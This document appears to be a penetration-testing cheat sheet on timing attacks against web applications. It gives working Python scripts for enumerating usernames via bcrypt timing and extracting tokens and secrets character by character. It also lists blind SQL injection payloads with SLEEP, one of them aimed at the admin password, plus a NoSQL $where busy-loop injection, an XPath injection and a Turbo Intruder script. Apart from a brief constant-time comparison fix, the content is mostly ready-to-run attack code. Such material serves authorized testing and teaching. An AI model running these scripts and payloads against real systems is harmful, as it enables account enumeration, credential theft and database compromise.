Timing Attacks
Timing-based attacks: user enumeration via bcrypt/hash timing difference, data exfiltration via response timing oracle, blind injection confirmation via sleep, token comparison timing, and measurement methodology with Python and Burp.
What are Timing Attacks
Timing attacks exploit measurable differences in how long operations take depending on secret data. In web applications:
- Valid username → expensive password hash comparison → longer response
- Invalid username → early exit (no hash needed) → faster response
- Correct token prefix → comparison loops longer → detectable timing difference
Even millisecond differences, when measured consistently, can leak binary information — enough to enumerate users, extract data, or confirm blind injections.
Attack 1: User Enumeration via bcrypt Timing
Why it works
When a login uses bcrypt:
if user_exists(username):
bcrypt.check_password_hash(stored_hash, password) # ~150-200ms
else:
return "Invalid credentials" # ~1ms
Valid username → bcrypt runs → ~180ms response. Invalid username → early exit → ~2ms response.
The delta (~178ms) is detectable even over a network.
Detection methodology
import requests, time
URL = "http://TARGET/login"
THRESHOLD = 0.15 # 150ms threshold
# Known valid usernames from other sources (e.g., registration error, profile URLs)
test_users = open('/usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt').read().splitlines()[:500]
valid_users = []
for username in test_users:
start = time.perf_counter()
r = requests.post(URL, data={'username': username, 'password': 'wrongpassword_xyz'}, timeout=10)
elapsed = time.perf_counter() - start
if elapsed > THRESHOLD:
valid_users.append((username, round(elapsed, 3)))
print(f'[VALID] {username}: {elapsed:.3f}s')
print(f'\nFound {len(valid_users)} valid usernames')
Averaging for accuracy (reduce network jitter)
import requests, time, statistics
def measure_login(url, username, password, samples=5):
times = []
for _ in range(samples):
start = time.perf_counter()
requests.post(url, data={'username': username, 'password': password}, timeout=10)
times.append(time.perf_counter() - start)
return statistics.median(times) # median reduces outlier impact
# Baseline: known invalid username
baseline = measure_login(URL, 'zzz_definitely_invalid_zzz_xyz', 'wrong')
print(f'Baseline (invalid): {baseline:.3f}s')
for user in test_users:
t = measure_login(URL, user, 'wrong')
if t > baseline * 2: # 2x slower = likely valid
print(f'[VALID] {user}: {t:.3f}s vs baseline {baseline:.3f}s')
Attack 2: Data Exfiltration via Response Timing
When a condition involving secret data is evaluated server-side and affects execution time:
# Vulnerable code
if secret_data.startswith(user_input):
process_slowly() # DB query, hash operation, or sleep
Extract a secret character by character
import requests, time
URL = "http://TARGET/verify"
known = ""
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
while True:
times = {}
for char in charset:
guess = known + char
start = time.perf_counter()
r = requests.post(URL, data={'token': guess})
elapsed = time.perf_counter() - start
times[char] = elapsed
# Character that took the longest = likely correct
best = max(times, key=times.get)
if times[best] < (sum(times.values()) / len(times)) * 1.5:
break # No significant winner = end of data
known += best
print(f'Found: {known}')
print(f'Extracted: {known}')
Attack 3: Blind SQL Injection Confirmation via SLEEP
Use timing to confirm blind SQLi when no visible difference exists:
' AND IF(1=1, SLEEP(5), 0)-- - ← 5s delay = condition TRUE
' AND IF(1=2, SLEEP(5), 0)-- - ← instant = condition FALSE
In Burp Repeater, check the response time in the bottom right (X ms):
' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)-- -
If response takes 5+ seconds → users table has rows.
Extract data with timing:
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(3), 0)-- -
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b', SLEEP(3), 0)-- -
Attack 4: Token Comparison Timing
Fixed-time vs non-constant-time comparison of tokens:
# Vulnerable: early-exit string comparison
if user_token == stored_token: # returns False on first differing byte
# Safe: constant-time comparison
import hmac
if hmac.compare_digest(user_token, stored_token):
If the comparison is not constant-time, submitting tokens that share longer prefixes with the correct value will take slightly longer.
Automated token timing attack
import requests, time, statistics
URL = "http://TARGET/api/verify"
KNOWN_PREFIX = ""
charset = "0123456789abcdef" # hex token charset
for pos in range(0, 32): # 32-char hex token
times = {}
for c in charset:
candidate = KNOWN_PREFIX + c + "0" * (31 - pos)
samples = []
for _ in range(10):
start = time.perf_counter()
requests.post(URL, json={"token": candidate})
samples.append(time.perf_counter() - start)
times[c] = statistics.median(samples)
best = max(times, key=times.get)
KNOWN_PREFIX += best
print(f'Position {pos}: {best} → prefix so far: {KNOWN_PREFIX}')
Note: This requires very low latency (local network) — over the internet, jitter typically overwhelms the signal.
Attack 5: Time-Based Blind NoSQL Injection
MongoDB $where with sleep:
// Inject into username field
' || (function(){var d=new Date();while(new Date()-d<5000){}return true;})() || ''=='
If the response takes 5 seconds → $where JS execution confirmed.
Attack 6: LDAP / XPath Timing
Inject a computation-heavy expression to create a measurable delay:
' and substring(//users/user[1]/password/text(),1,1)='a' and (1=1 or '1'='
Measure if the response containing a correct character takes longer (more matching evaluations in the tree).
Burp Suite Timing Measurement
- In Repeater, responses show time in the bottom status bar (
X ms). - For automated timing: use Intruder → after the attack, click Columns → Response received and Response completed to show timing per request. Sort by response time.
- Turbo Intruder — high-precision timing for race conditions and timing attacks:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=1) for username in open('/path/to/usernames.txt'): engine.queue(target.req, username.strip()) def handleResponse(req, interesting): if req.status == 200 and req.response.elapsed > 0.15: table.add(req)